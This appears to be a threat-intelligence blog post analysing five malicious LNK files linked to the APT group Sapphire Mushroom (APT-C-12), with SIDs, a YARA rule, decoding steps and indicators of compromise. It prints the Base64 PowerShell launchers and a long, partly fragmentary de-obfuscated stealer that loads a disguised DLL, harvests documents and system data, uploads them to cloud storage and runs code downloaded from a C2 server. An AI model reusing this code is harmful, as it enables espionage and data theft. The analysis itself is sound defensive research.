Suspected Sapphire Mushroom (APT-C-12) malicious LNK files

In July 2018, the Chinese-based research group 360 Technical Intelligence Center (TIC) produced a report "蓝宝菇(APT-C-12)针对性攻击技术细节揭秘" (Sapphire Mushroom (APT-C-12) Technical Details Revealed[1]). This report analysed a malicious LNK file allegedly used by the APT group "Sapphire Mushroom" (蓝宝菇 aka Blue Mushroom aka NuclearCrisis). The group, according to 360 TIC:

...has carried out continuous cyber espionage activities on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China...[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The group appeared in March 2011 and appears to be targeting a wide variety of Chinese government and industries with spear-phishing emails. An early tactic used right-to-left override (RTLO or RLO) character to give the appearance of a regular file, and also malicious LNK files.

There is limited background I can find publicly on this group. They are not listed by that name or any variant on the APT Groups and Operations Spreadsheet. I also don't have access to much private threat intelligence to trawl against. 360 TIC does not make a country attribution (that I can find) in its reports.

What is publicly written is singled-sourced from 360 TIC and helpfully translated by @Viking_Sec

It's the 'L' to the 'N' to the 'K'

Flash-forward to January 2020 and I was trawling through Hybrid-Analysis searching for interesting LNK files, I came across these five samples:

Analysis indicates one of these samples is very similar to the same analysed in the 360 TIC report (of which the hash was not released) and the other four were previously unreported. Further, looking at the samples it is possible targets can be identified based on the malware - although this is not confirmed at this time.

So, with a combination of thread-pulling and reviewing the original 360 TIC report we can look at how these samples are related and any further information that might be interesting.

The Famous Five (LNKs)

What immediately stood out to me was the enormous size of these LNK files: between 400KB to 1.3 MB. Which is massive for such a (normally) little file. This generally indicates data is appended to the end of the file. If it's larger than normal then it's often a PE executable that is simply extracted out. How wrong I was.

What was also interesting is all of these samples were Chinese-language named and uploaded to Hybrid-Analysis at about the same time. The summary is as follows:

Date of Upload File Name Google Translation SHA256 Hash
October 29th 2019 11:00:46 (UTC) 陈婧简历+作品.lnk Chen Jing's resume + works 20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814
October 29th 2019 11:03:47 (UTC) 周文重:2018博鳌亚洲论坛感谢函.lnk Zhou Wenzhong: Thank you letter for Boao Forum for Asia 2018 b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b
October 29th 2019 12:40:00 (UTC) 【2018前海合作论坛】.lnk Qianhai Cooperation Forum 2018 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d
October 29th 2019 12:40:33 (UTC) 《政法网络舆情》会员申请.lnk "Politics and Law Network Public Opinion" Member Application ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af
October 29th 2019 12:40:54 (UTC) 《观察者网》采访提纲暨相关新闻附件.lnk "Observer Network" Interview Outline and Related News Attachments 6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36

The second-last sample (SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af) is very similar to that analysed in the 360 TIC report. This is based on basic characteristics including: filename, file size, reported strings, reported C2 and exfiltration domains, and secondary dropped malware.

A Quick Comparison

Running the five samples through Eric Zimmerman's LECMD and comparing their overall hex content indicated they were likely related. Points of interest included:

  • All had much of their metadata wiped including internal dates and times, MAC addresses, and Volume Serial Numbers. This itself is an anomaly that is a useful tool mark to match samples.
  • What wasn't wiped was the Security Identifier (SID) for each of the LNK files which indicated the user account from which the LNK file was created:
SHA256 Hash SID
20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814 S-1-5-21-768223713-132671932-3453716105-7998
b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b S-1-5-21-768223713-132671932-3453716105-8001
70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d S-1-5-21-768223713-132671932-3453716105-7998
ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af S-1-5-21-768223713-132671932-3453716105-7998
6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36 S-1-5-21-768223713-132671932-3453716105-7998

So, all the samples were created on the same Windows environment and all but one was created with the same user account. Maybe they let the intern have a go?

This would be a good Yara rule to start a hunt:

rule LNK_Based_on_SID
		sample = "70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d"
		author = "@mattnotmax"
		date = "2020-01-23"
	$SID = "S-1-5-21-768223713-132671932-3453716105" wide
	filesize > 400KB and 
	uint16(0) == 0x4c and 


Only one sample (70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d) had been uploaded to Virus Total about the same time as the Hybrid-Analysis uploads: 29 October 2019 at 12:43:22 UTC. At the time of writing it registered 16/58 detections, but all were non-specific Trojan detections.

Malicious Script Delivery

All the LNK files also have similar PowerShell delivery: a plethora of white space to hide a PowerShell encoded commanded from the user, followed by a Base64 encoded script.

The five payloads are:

-w hidden $r='LWpvaW4oKDM2LDU3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTcsNjEsMTAzLDEwNSwzMiwzNiw1Nyw1OSwxMDgsMTA5LDU2LDMyLDQwLDEwMyw5OSwzMiwzNiw1NywxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function lm8{param($v);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($v)))}lm8 $r

-w hidden $6=‘LWpvaW4oKDM2LDQ5LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw0OSw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw0OSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNDksNjEsMTAzLDEwNSwzMiwzNiw0OSw1OSwxMTksMTE0LDQ5LDMyLDQwLDEwMyw5OSwzMiwzNiw0OSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==’;Function wr1{param($3);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($3)))}wr1 $6

-w hidden $3=‘LWpvaW4oKDM2LDUwLDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1MCw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1MCw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTAsNjEsMTAzLDEwNSwzMiwzNiw1MCw1OSwxMTAsNDgsNDgsMzIsNDAsMTAzLDk5LDMyLDM2LDUwLDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4’;Function n00{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}n00 $3

-w hidden $5=‘LWpvaW4oKDM2LDEwMSw2MSwzNiwxMDQsMTExLDExNSwxMTYsNDYsMTE3LDEwNSw0NiwxMTQsOTcsMTE5LDExNywxMDUsNDYsMTE5LDEwNSwxMTAsMTAwLDExMSwxMTksMTE2LDEwNSwxMTYsMTA4LDEwMSw1OSw3MywxMDIsNDAsMzMsMzYsMTAxLDQ2LDEwMSwxMTAsMTAwLDExNSwxMTksMTA1LDExNiwxMDQsNDAsMzksNDYsMTA4LDExMCwxMDcsMzksNDEsNDEsMTIzLDM2LDEwMSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsMTAxLDYxLDEwMywxMDUsMzIsMzYsMTAxLDU5LDExNSwxMDYsNTUsMzIsNDAsMTAzLDk5LDMyLDM2LDEwMSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==’;Function sj7{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}sj7 $5

-w hidden $o=‘LWpvaW4oKDM2LDk3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw5Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw5Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsOTcsNjEsMTAzLDEwNSwzMiwzNiw5Nyw1OSwxMTMsNTQsNTIsMzIsNDAsMTAzLDk5LDMyLDM2LDk3LDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4’;Function q64{param($6);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))}q64 $o

When converted from Base64 there is another layer of CharCode (Unicode character numbers):






The above two rounds of obfuscation can be decoded using CyberChef goodness:

[{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+=/]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"Fork","args":["\\n","\\n\\n\\n",false]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Regular expression","args":["User defined","([0-9]{2,3})",true,true,false,false,false,false,"List matches"]},{"op":"Find / Replace","args":[{"option":"Extended (\\n, \\t, \\x...)","string":"\\n"},", ",true,false,true,false]},{"op":"From Charcode","args":["Comma",10]}]

This reveals:

$9=$host.ui.rawui.windowtitle;If(!$9.endswith('.lnk')){$9+='.lnk'}$9=gi $9;lm8 (gc $9|select -l 1)

$1=$host.ui.rawui.windowtitle;If(!$1.endswith(’.lnk’)){$1+=’.lnk’}$1=gi $1;wr1 (gc $1|select -l 1)

$2=$host.ui.rawui.windowtitle;If(!$2.endswith(’.lnk’)){$2+=’.lnk’}$2=gi $2;n00 (gc $2|select -l 1)

$e=$host.ui.rawui.windowtitle;If(!$e.endswith(’.lnk’)){$e+=’.lnk’}$e=gi $e;sj7 (gc $e|select -l 1)

$a=$host.ui.rawui.windowtitle;If(!$a.endswith(’.lnk’)){$a+=’.lnk’}$a=gi $a;q64 (gc $a|select -l 1)

All of these do the same thing: check the title text in the current window, rename that text to end in .lnk if needed, then select the last line of the LNK file and extract it.

Babushka (LNK) Dolls

Extracting out the last line of the LNK files reveals more Base64 encoded CharCode. Due to the length, I'll copy one sample here and the same CyberChef recipe can quickly deal with it:

Here's the extracted and semi-clean PowerShell from sample 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d:

[io.file]::writeallbytes("$env:tmp\xgihT.Z",[convert]::frombase64string((gc $2|select -l 2|select -f 1)));
expand /f:* "$env:tmp\xgihT.Z" "$env:tmp\";
del -fo "$env:tmp\xgihT.Z";
If (test-path $env:tmp\xgihT) {
    del -fo -r "$env:tmp\xgihT"
rni -fo "$env:tmp\tmp" "xgihT";
md -fo "$env:AppData\WinRAR";
mv -fo "$env:tmp\xgihT\Rar.exe" "$env:AppData\WinRAR\";
mv -fo "$env:tmp\xgihT\FLrzH.w" "$env:tmp\..\";
If ($2.fullname.startswith($env:tmp)) {
    del -fo -r ("$env:tmp\"+$2.basename);
    rni -fo "$env:tmp\xgihT" $2.basename;
    ii ("$env:tmp\"+$2.basename+"\")
Else {
    del -fo $2;
    md -fo $2.basename;
    mv -fo "$env:tmp\xgihT\*" $2.basename;
    del -fo -r "$env:tmp\xgihT";
    ii "$($2.basename)\"
If (test-path $env:tmp\backups) {
    If (((get-date)-(get-item $env:tmp\backups).LastAccessTime).totalminutes -le 60) {
    del -fo -r "$env:tmp\backups"
If (test-path "$env:tmp\..\FLrzH.w") {
    rundll32 "$env:tmp\..\FLrzH.w",DllRegister `
    "powershell -w hidden `
    ""Function we8([String]`$3,`$7='MD5'){`$g=New-Object System.Text.StringBuilder;`
        foreach(`$1 in `$9) {`
        return `$e}`
        Function qv1 (`$3) {`
            `$e -lt `$3.length;) {`
                for(`$g=0;`$g -lt `$x.length;`$g++) {`
                    `$3[`$e] -bxor `$x[`$g];`
                    `$e++;If(`$e -ge `$3.Length) {`
            return `$7`
        Function qc4 {`
            while (1) {`
                `$7=Get-WmiObject win32_networkadapterconfiguration;`
                foreach(`$zv7 in `$7) {`
                    If(`$zv7.macaddress) {`
                foreach(`$ij4 in `$w) {`
                    If(`$ij4.contains(':')) {`
                        `$zv7+=`$ij4.substring(0,17) -replace ':',''`
                `$zy3=we8 (`$zv7[-1]+`$env:username);`
                `$xi2=new-object System.Net.WebClient;`
                `$xi2.headers.add('user-agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36');`
                `$xi2.headers.add('Cookie','PHPSESSID='+`$zy3+'; csrftoken=u32t4o3tb3lbj'+`$v+'; _gat='+`$u+';');`
                try {`
                    `$0=`$xi2.DownloadString(`$m[`$s]);`$ri8=`$0.split(' ');`
                    `$jd4= `$ri8.Length;`
                    `$qw2=new-object int[] `$jd4;`
                    for(`$e=0;`$e -lt `$jd4;`$e+=1) {`
                    `$0=qv1 `$qw2;iex `$0;`
                    while(1) {`
                        try {`
                            ROAGC `$8 `$u `$m `$a `$zy3`
                        catch {}`
                catch {`
                    If(`$s -lt (`$q-1)) {`
                    Else {`
                Start-Sleep -s 180`
        If(`$0.endswith('jis)')) {`
        Elseif(`$0.endswith('f-16)')) {`
        Elseif(`$0.endswith('M437)')) {`
        Elseif(`$0.endswith('g5)')) {`
        Elseif(`$0.endswith('12)')) {`
        Else {`$v='2'}`
        `$0=-join(get-random ([char[]](65..90+97..122)) -c 7 -s `$([int](get-date -f yyyMd)));`
        `$nl7=new-object system.threading.mutex(0,`$0);`
        If (`$nl7.waitone(1)) {`
            try {`
            finally {`
md -fo "$env:tmp\backups";

Function u65($9) {
If ($9.Header2.count) {
foreach($1 in $9.Header2.getenumerator()) {
If ($ {
$6.Headers.Add($, $1.value)
If ($9.GData) {
$e=New-Object System.IO.StreamReader $r;
If ($t -ne $Null) {
If ($6 -ne $Null) {
If ($9.GData) {
return ($t.statuscode,([xml]$n).InitiateMultipartUploadResult.UploadId)
return $t

Function v95($2,$p) {
$e=New-Object System.Security.Cryptography.HMACSHA256;
return $2

Function y79($p) {
return -join($h| % {"{0:x2}" -f $})
Function ww2($9) {
If ($9.DIRNAME) {
If ($9.FILENAME) {
($9.CANON_HEAD.keys | sort) | % {$5+="$($
):$($9.CANON_HEAD[$_])n"}; $0="$($9.METHOD)n$cn$($9.QUERYS)n$5n$($9.SIGNHEAD)n$($9.BODY_SIG)";
return “AWS4-HMAC-SHA256n$($9.ISODATE)n$($9.DATE)/$($9.REGION)/s3/aws4_request`n$(y79 $0)”

Function i09($9) {
$7=v95 $c $9.REGION;$i=v95 $7 “s3”;
$s=v95 $i “aws4_request”;
$2=v95 $s $9.CANON_REQ;return -join($2|%{"{0:x2}" -f $_})

Function en2($9,$6,$7) {
If ($9.FileMD5) {
$9.SIGNHEAD=($9.CANON_HEAD.keys|sort) -join ‘;’;
$9.CANON_REQ=ww2 $9;$9.CANON_SIG=i09 $9;
$t=@{“x-amz-content-sha256”=$9.BODY_SIG;“x-amz-date”=$9.ISODATE;“Authorization”=“AWS4-HMAC-SHA256 Credential=$($9.ACCESS_KEY)/$($9.DATE)/$($9.REGION)/s3/aws4_request, SignedHeaders=$($9.SIGNHEAD), Signature=$($9.CANON_SIG)”};If($9.FileMD5){$t.add(‘content-md5’,$9.FileMD5)}$x=“https://$($9.HOSTURL)/”;
If ($9.DIRNAME) {
If ($9.FILENAME) {
If ($9.QUERYS) {
return $b

Function ts3($l,$x,$t) {
try {
$f=New-Object System.IO.FileStream $l.fullname, ‘Open’;
If ($f.Length -gt 5Mb) {
$i=New-Object System.Xml.XmlDocument;
$9.BODY_SIG=y79 ‘’;
$b=en2 $9 ‘’ $True;
$0=u65 $b;
catch {}
If ($n -eq 200 -or -not $g) {
try {
[byte[]]$6=New-Object byte[] $2;
while ($o -le 10) {
If ($w -lt $2) {
[byte[]]$6=New-Object byte[] $w
If ($q -ne $w) {
$q=New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
If ($g) {
$b=en2 $9 $6 $False;
$0=u65 $b;
If ($n -eq 200) {
If ($g) {
else {
If ($t -eq $f.Length) {
else {
If ($f.Position -ne $t) {
If ($g) {
$9.BODY_SIG=y79 $4.outerxml;
$b=en2 $9 $g $False;
$0=u65 $b;
If ([int]$0.StatusCode -eq 200) {
catch {
return $3

Function x56($6,$g,$f) {
iex ("& ‘$env:AppData\WinRAR\Rar.exe’ a -ep1 -y -hp$6 ‘$g’ ‘$f’") | out-null;
If (!(test-path $g)) {
makecab “$f” “$g” | out-null

Function zm7($l,$n,$g,$y,$x) {
$s="["+$g+"] “+($l.fullName)+” Size:"+($l.Length/1kb)+“KB Time:”+($l.LastWriteTime);
Try {
gc $l.fullname -fo -total 0 -erroraction stop;
If ($l.extension -eq ‘.txt’ -and $l.Length -gt 10KB) {
If ($n -eq $_.Length) {
If ($l.Length -le 100MB -and $l.Length -gt 0 -and $7) {
x56 $j $9 $l.fullName;
If (test-path $9) {
$9=gi -fo $9
Else {
If (ts3 $9 $x $y) {
$s+=" ($y)OKrn";
sleep -s 1
Else {
$s+=" (Error)rn"
If ($9.extension -eq ‘.rar’) {
del -fo $9.fullname
Else {
$s+="[!Size or Duplicate!]rn"
Catch {
$s+="[!Access denied!!]rn"
return $s

Function sr2($j,$x) {
$e=(Get-Date -f yyyyMMddhhmmss)+“rnWeek:rn”;
gci “$env:appdata\Microsoft\Windows\Recent” -fo -errora silentlycontinue | ? { $f -contains [io.path]::getextension($.basename) -and $.LastWriteTime -ge (Get-Date).AddDays(-7)} | % {gi ((new-object -com$.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $ $n $b $y $x;$n=$.Length;
If ($e.endswith(“OKrn”)) {
$5+=gdr -p ‘fi*’ | ? {$
.root -ne “$env:systemdrive”} | % {gci -fo $.root};
$5+=gci -fo “$env:systemdrive\users”;
$5+=gci -fo “$env:systemdrive” | ? {$
.fullname -notlike ‘:\Windows’ -and $.fullname -notlike ‘*:\Users’ -and $.fullname -notlike ‘:\Program Files’ -and $.fullname -notlike ‘*:\ProgramData’ -and $.fullname -notlike ‘:\MSOCache’ -and $_.fullname -notlike ':\PerfLogs’ -and $.fullname -notlike ‘:\System Volume’ -and $.fullname -notlike ‘:\Documents and Settings’ -and $_.fullname -notlike ':\Recovery’ -and $.fullname -notlike ‘*:\Boot’};
$5=$5 | sort lastwritetime -des | % {$
.fullname} | ? {$};
$e+=“Search List:rn$5rn”;
If ($6 -ge 30){
Else {
while ($6 -ge $r) {
$e+=“M $k (D $c - D $r):rn”;
foreach ($d in ((’.doc’,’.docx’,’.pdf’),(’.ppt’,’.pptx’,’.xls’,’.xlsx’,’.wps’,’.wpp’,’.et’),(’.txt’,’.eml’))) {
$e+=“FileType: $drn”;
foreach ($4 in $5) {
Try {
gci $4 -r -fo -errora silentlycontinue | ? {$d -contains $
.extension -and $.LastWriteTime -lt $p.AddDays(-1*$c) -and $.LastWriteTime -ge $p.AddDays(-1*$r) } | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$.Length;
If ($e.endswith(“OKrn”)) {
catch {
$e+="[!!!$4 search error !!!]rn"
$e+=(Get-Date -f yyyyMMddhhmmss)+“rn”;
$e+=(get-wmiobject win32_process -f “name=‘powershell.exe’” | % {$
$e > “$env:tmp$($k)test.txt”;
x56 $j “$env:tmp\backups\M$k.rar” $e;
ts3 (gi -fo “$env:tmp\backups\M$k.rar”) $x “M$k”;
del -fo $e,"$env:tmp\backups\M$k.rar";
If ($6 -le $r) {
If ($6 -le $r) {
while(1) {
sleep -s 3500;
md -fo “$env:tmp\backups”;
$x=(hostname)+“P"+(Get-Date -f yyyyMMddhhmmss)+"REDACTED";
gci “$env:appdata\Microsoft\Windows\Recent” -fo -errora silentlycontinue | ? {$f -contains [io.path]::getextension($
.basename) -and $
.LastWriteTime -ge (Get-Date).AddHours(-1) } | % {gi ((new-object -com$.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $ $n $b $y $x;$n=$_.Length;
If ($e.endswith(“OKrn”)) {
$e+=(Get-Date -f yyyyMMddhhmmss)+“rn”;
$e > “$env:tmp$($k)test.txt”;
x56 $j “$env:tmp\backups\P$k.rar” $e;
ts3 (gi -fo “$env:tmp\backups\P$k.rar”) $x “P$k”;
del -fo $e,"$env:tmp\backups\P$k.rar"

$s=(hostname)+"_"+(Get-Date -f yyyyMMddhhmmss)+“REDACTED";
while ($l -lt $q) {
try {
$w+=" OKrn"
catch {
$w+=" BAD!rn"
$w+=(Get-Date -f yyyyMMddhhmmss)+“rn”;
$w+=“ipconfig /all:rn”+(ipconfig /all)+“rn”;
$w+=“netstat -a:rn”+(netstat -a)+“rn”;
$w+=“arp -a:rn”+(arp -a)+“rn”;
$w+=“desktop files:rn”+(ls -r $home\desktop)+“rn”;$w+=“tmp files:rn”+(ls $env:tmp…)+“rn”;$w+=“pw cmd:rn”+(get-wmiobject win32_process -f “name=‘powershell.exe’” | % {$
$w+=“programfiles:rn”+(ls $env:programfiles)+“rn”;
$w+=“programfiles x86:rn”+(ls ${env:programfiles(x86)})+“rn”;
$w+=(Get-Date -f yyyyMMddhhmmss)+“rn”;
$w | out-file “$env:tmp\start.log” -Encoding UTF8;
$3=-join(char[] | get-random -c 16);
$7=new-object security.cryptography.rsacryptoserviceprovider(2048);
$7.encrypt([text.encoding]::utf8.getbytes(”$3"),$False) > “$env:tmp\id”;
iex ("& ‘$env:AppData\WinRAR\Rar.exe’ a -ep1 -y ‘$env:tmp\id.rar’ ‘$env:tmp\id’")|out-null;
while(!(ts3 (gi “$env:tmp\id.rar”) $s ‘id’)){sleep -s 180}x56 $3 “$env:tmp\start.rar” “$env:tmp\start.log”;
ts3 (gi “$env:tmp\start.rar”) $s ‘start’;
del -fo “$env:tmp\id”,"$env:tmp\id.rar","$env:tmp\start.rar","$env:tmp\start.log";
sr2 $3 $s

The PowerShell scripts do vary between the samples, but maintain the same key features. Some have blocks of Base64 to obfuscate the calling of the DLL, while others have this code in the clear. Additionally, the PowerShell script passed as a parameter with the DLL does vary slightly.

But at a very high level, the PowerShell extracts out more data from the LNK file, expands that data into a temporary location, loads a malicious dll (with a further PowerShell script as a parameter), obtain user information and data, and encrypts it before sending it back to a C2 server. The 360 TIC report examines this code in depth.

To me, however, what stood out was a string which I have redacted[2] appended to the collected data, which could refer to a username or social media handle to identify the origin of returned data.

Looking at the other LNK samples more of these handle-type names were identified. Of these I was able to identify a social media account for at least two of these type of strings in the samples:

Summary of all the key IOCs from the PowerShell identifies possible handles and C2 infrastructure:

Identifying String SHA 256 Hash IP Addresses Storage Server User Agent Other
String 1 20ad6fa72982a6ba0f9499361b2aa3a3
f5cca73fd397c2969d08a4c5f2866814 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL
String 2 b0d7118d75c0f2a99fa5b319148b8914
8800e5db06ee403d6a31c451a8a54f2b Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL
String 3 70b6961af57bce72b89103197c8897a4
ae3ce5fdb835ccd050f24acbac52900d Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36
String 1 ea6e7c9b9110c7c21062908be51dd3f8
81490b40b9b77a534fdc7812ab5cd2af Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL
String 4 6ccad83fb9f7a50ac95e3e865a27be0
N/A Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Using FTP server rather than Digital Ocean

Hey Taxi!! Cab!!

The PowerShell further extracted a CAB file that contained further files: PDFs, DOCXs, DOCs, and JPEGs along with a DLL with a non-standard extension (e.g. .g), and a legitimate copy of rar.exe. The dropped files (sans the .dll, see below) are:

String of Interest # LNK File Name Dropped Files Translated Dropped Files SHA256 Hashes
String 1 陈婧简历+作品.lnk 《互联网发展:信息与动态》7月刊原稿.docx
"Internet Development: Information and Development" July Issue.docx
"China Business News" official Weibo works.docx
Chen Jing + 13957937111 + resume.doc
String 2 周文重:2018博鳌亚洲论坛感谢函.lnk 周文重:2018博鳌亚洲论坛感谢函.doc Zhou Wenzhong: Thank you letter for Boao Forum for Asia 2018.doc 32b3c6920eb5fcd8bddf55154e6e17453a4f07919216e7df6d84fb3f57a64966
String 3 【2018前海合作论坛】.lnk 附件1-2018前海合作论坛方案.pdf
Annex 1-2018 Qianhai Cooperation Forum Program.pdf
Annex 2-Participation Receipt.docx
Attachment-3-Brief introduction of Shenzhen Qianhai Hong Kong Chamber of Commerce.pdf
2018 Qianhai Cooperation Forum Invitation Letter.pdf
String 1 《政法网络舆情》会员申请.lnk 《政法网络舆情》会员征集函.doc
"Politics and Law Network Public Opinion" Membership Letter.doc
Tancheng Branch wishes you a good luck in the Year of the Rooster-1.jpg
Tancheng Branch wishes you a good luck in the Year of the Rooster-2.jpg
Tancheng Branch wishes you a good luck in the Year of the Rooster-3.jpg
Tancheng Branch wishes you a good luck in the Year of the Rooster-4.jpg
Tancheng Branch wishes you a good luck in the Year of the Rooster-5.jpg
Tancheng Branch wishes you a good luck in the Year of the Rooster-6.jpg
String 4 《观察者网》采访提纲暨相关新闻附件.lnk 《观察者网》采访提纲.docx
美参议员望通过新法案 倡议加强美与亚洲多方面长期合作.docx
"" Interview Outline.docx
Tsai Ing-wen accepted the full text of the AFP interview.docx
US "Taiwanese" MPs have made a demon again, mentioning "Taiwan International Participation Act of 2018" .docx
U.S. Senators hope to pass new bill initiative to strengthen long-term cooperation between the United States and Asia.docx
U.S. lawmakers urge Trump to abandon "one China" policy and "return diplomatic relations" with Taiwan, experts are extremely unlikely.docx

At this stage, I haven't done any analysis on these 20 files, except basic metadata checks. Of possible interest is the file 陈婧+13957937111+简历.doc has the email address [email protected] embedded as a hyperlink.


The five DLLs have similar characteristics. All are masquerading as a NVIDIA dll file with similar matadata as below:

A check of relevant hashes indicates three samples are the same, and the other two are different; however, have a recorded compilation time within 12 seconds of each other.

Identifying String DLL filename SHA 256 Hash ImpHash Compilation Time
String 4 SwYLR.T a76cb406145b1e094a8ec46ae0cf9594
9442FCDB7DAAB60B53A67D5A419F71F3 compiler-stamp: Thu May 31 23:06:58 2018
debugger-stamp: Thu May 31 23:06:58 2018
String 1 lyNMk.v f9ee8f1ca51475397e2c190290c0aeb7
6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018
debugger-stamp: Wed Feb 07 22:04:01 2018
String 3 FLrzH.w 92ad7532f7b6cb5b6812da586ae9c2c6
8E02074B51513C018F9B73FEB0BEC905 compiler-stamp: Thu May 31 23:07:10 2018
debugger-stamp: Thu May 31 23:07:10 2018
String 2 hxCEm.G f9ee8f1ca51475397e2c190290c0aeb7
6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018
debugger-stamp: Wed Feb 07 22:04:01 2018
String 1 beoql.g f9ee8f1ca51475397e2c190290c0aeb7
6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018
debugger-stamp: Wed Feb 07 22:04:01 2018

The files lyNMk.v, hxCEm.G and beoql.g with SHA256 f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa were recorded on Virus Total (35/67) with a first submission date of 2018-04-26 10:14:33 and had the recorded alternative names as nvapisetlib,
